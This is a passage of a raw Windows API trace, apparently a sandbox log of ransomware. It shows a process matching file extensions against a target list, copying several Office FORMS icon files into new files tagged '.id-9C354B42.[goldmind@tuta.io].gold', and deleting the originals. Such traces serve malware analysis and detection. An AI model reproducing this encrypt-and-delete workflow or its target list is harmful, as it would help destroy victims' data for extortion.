lstrlenW (lpString=".bz2") returned 4 [0114.942] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.942] lstrlenW (lpString=".7z") returned 3 [0114.942] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.942] lstrlenW (lpString=".dbf") returned 4 [0114.942] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.942] lstrlenW (lpString=".1cd") returned 4 [0114.942] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.942] lstrlenW (lpString=".jpg") returned 4 [0114.942] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.942] lstrlenW (lpString=".doc") returned 4 [0114.942] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString=".docx") returned 5 [0114.942] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0114.942] lstrlenW (lpString=".pdf") returned 4 [0114.942] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString=".xls") returned 4 [0114.942] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString=".xlsx") returned 5 [0114.942] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0114.942] lstrlenW (lpString=".ppt") returned 4 [0114.942] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.942] lstrlenW (lpString=".zip") returned 4 [0114.942] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString=".rar") returned 4 [0114.942] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.942] lstrlenW (lpString=".bz2") returned 4 [0114.943] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.943] lstrlenW (lpString=".7z") returned 3 [0114.943] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.943] lstrlenW (lpString=".dbf") returned 4 [0114.943] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.943] lstrlenW (lpString=".1cd") returned 4 [0114.943] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0114.943] lstrlenW (lpString=".jpg") returned 4 [0114.943] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.943] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.943] lstrlenW (lpString="POSTITL.ICO") returned 11 [0114.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0114.944] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1078) returned 1 [0114.944] CloseHandle (hObject=0x188) returned 1 [0114.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico")) returned 0x20 [0114.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0114.944] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.944] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0114.945] GetLastError () returned 0x0 [0114.945] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x436, lpOverlapped=0x0) returned 1 [0114.947] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x440, lpOverlapped=0x0) returned 1 [0114.948] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.948] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0114.948] SetEndOfFile (hFile=0x394) returned 1 [0114.948] CloseHandle (hObject=0x394) returned 1 [0114.948] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.948] SetEndOfFile (hFile=0x188) returned 1 [0114.950] CloseHandle (hObject=0x188) returned 1 [0114.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico")) returned 1 [0114.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.951] lstrlenW (lpString=".doc") returned 4 [0114.951] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.951] lstrlenW (lpString=".docx") returned 5 [0114.951] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0114.951] lstrlenW (lpString=".pdf") returned 4 [0114.951] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.951] lstrlenW (lpString=".xls") returned 4 [0114.951] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.951] lstrlenW (lpString=".xlsx") returned 5 [0114.951] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0114.951] lstrlenW (lpString=".ppt") returned 4 [0114.951] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.951] lstrlenW (lpString=".zip") returned 4 [0114.951] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.951] lstrlenW (lpString=".rar") returned 4 [0114.951] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.951] lstrlenW (lpString=".bz2") returned 4 [0114.951] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.951] lstrlenW (lpString=".7z") returned 3 [0114.951] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.951] lstrlenW (lpString=".dbf") returned 4 [0114.951] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.951] lstrlenW (lpString=".1cd") returned 4 [0114.952] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.952] lstrlenW (lpString=".jpg") returned 4 [0114.952] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.952] lstrlenW (lpString=".doc") returned 4 [0114.952] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.952] lstrlenW (lpString=".docx") returned 5 [0114.952] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0114.952] lstrlenW (lpString=".pdf") returned 4 [0114.952] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.952] lstrlenW (lpString=".xls") returned 4 [0114.952] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.952] lstrlenW (lpString=".xlsx") returned 5 [0114.952] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0114.952] lstrlenW (lpString=".ppt") returned 4 [0114.952] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.952] lstrlenW (lpString=".zip") returned 4 [0114.952] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.952] lstrlenW (lpString=".rar") returned 4 [0114.952] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.952] lstrlenW (lpString=".bz2") returned 4 [0114.952] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.952] lstrlenW (lpString=".7z") returned 3 [0114.952] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.952] lstrlenW (lpString=".dbf") returned 4 [0114.952] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.952] lstrlenW (lpString=".1cd") returned 4 [0114.952] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO") returned 65 [0114.952] lstrlenW (lpString=".jpg") returned 4 [0114.952] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.952] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.952] lstrlenW (lpString="POSTITS.ICO") returned 11 [0114.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0114.953] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2998) returned 1 [0114.953] CloseHandle (hObject=0x188) returned 1 [0114.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico")) returned 0x20 [0114.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0114.953] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.954] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0114.954] GetLastError () returned 0x0 [0114.954] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0114.956] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0114.957] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.957] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0114.957] SetEndOfFile (hFile=0x394) returned 1 [0114.957] CloseHandle (hObject=0x394) returned 1 [0114.957] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.957] SetEndOfFile (hFile=0x188) returned 1 [0114.959] CloseHandle (hObject=0x188) returned 1 [0114.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico")) returned 1 [0114.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.960] lstrlenW (lpString=".doc") returned 4 [0114.960] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.960] lstrlenW (lpString=".docx") returned 5 [0114.960] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.960] lstrlenW (lpString=".pdf") returned 4 [0114.960] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.960] lstrlenW (lpString=".xls") returned 4 [0114.960] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.960] lstrlenW (lpString=".xlsx") returned 5 [0114.960] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.960] lstrlenW (lpString=".ppt") returned 4 [0114.960] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.960] lstrlenW (lpString=".zip") returned 4 [0114.960] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.960] lstrlenW (lpString=".rar") returned 4 [0114.960] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.960] lstrlenW (lpString=".bz2") returned 4 [0114.960] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.960] lstrlenW (lpString=".7z") returned 3 [0114.960] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.960] lstrlenW (lpString=".dbf") returned 4 [0114.960] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.960] lstrlenW (lpString=".1cd") returned 4 [0114.960] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.960] lstrlenW (lpString=".jpg") returned 4 [0114.960] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.960] lstrlenW (lpString=".doc") returned 4 [0114.960] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.960] lstrlenW (lpString=".docx") returned 5 [0114.960] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.960] lstrlenW (lpString=".pdf") returned 4 [0114.960] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.960] lstrlenW (lpString=".xls") returned 4 [0114.960] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.960] lstrlenW (lpString=".xlsx") returned 5 [0114.960] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.960] lstrlenW (lpString=".ppt") returned 4 [0114.960] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.961] lstrlenW (lpString=".zip") returned 4 [0114.961] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.961] lstrlenW (lpString=".rar") returned 4 [0114.961] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.961] lstrlenW (lpString=".bz2") returned 4 [0114.961] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.961] lstrlenW (lpString=".7z") returned 3 [0114.961] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.961] lstrlenW (lpString=".dbf") returned 4 [0114.961] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.961] lstrlenW (lpString=".1cd") returned 4 [0114.961] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO") returned 65 [0114.961] lstrlenW (lpString=".jpg") returned 4 [0114.961] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.961] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.961] lstrlenW (lpString="POSTL.ICO") returned 9 [0114.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0114.962] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1078) returned 1 [0114.962] CloseHandle (hObject=0x188) returned 1 [0114.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico")) returned 0x20 [0114.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0114.962] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.962] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0114.963] GetLastError () returned 0x0 [0114.963] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.027] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.028] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.028] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0115.028] SetEndOfFile (hFile=0x394) returned 1 [0115.281] CloseHandle (hObject=0x394) returned 1 [0115.281] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.281] SetEndOfFile (hFile=0x188) returned 1 [0115.573] CloseHandle (hObject=0x188) returned 1 [0115.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico")) returned 1 [0115.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.575] lstrlenW (lpString=".doc") returned 4 [0115.575] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.575] lstrlenW (lpString=".docx") returned 5 [0115.575] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.575] lstrlenW (lpString=".pdf") returned 4 [0115.575] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.575] lstrlenW (lpString=".xls") returned 4 [0115.575] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.575] lstrlenW (lpString=".xlsx") returned 5 [0115.575] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.575] lstrlenW (lpString=".ppt") returned 4 [0115.576] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.576] lstrlenW (lpString=".zip") returned 4 [0115.576] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.576] lstrlenW (lpString=".rar") returned 4 [0115.576] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.576] lstrlenW (lpString=".bz2") returned 4 [0115.576] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.576] lstrlenW (lpString=".7z") returned 3 [0115.576] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.576] lstrlenW (lpString=".dbf") returned 4 [0115.576] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.576] lstrlenW (lpString=".1cd") returned 4 [0115.576] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.576] lstrlenW (lpString=".jpg") returned 4 [0115.576] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0115.576] lstrlenW (lpString="C:\\Program Files\\Microsoft 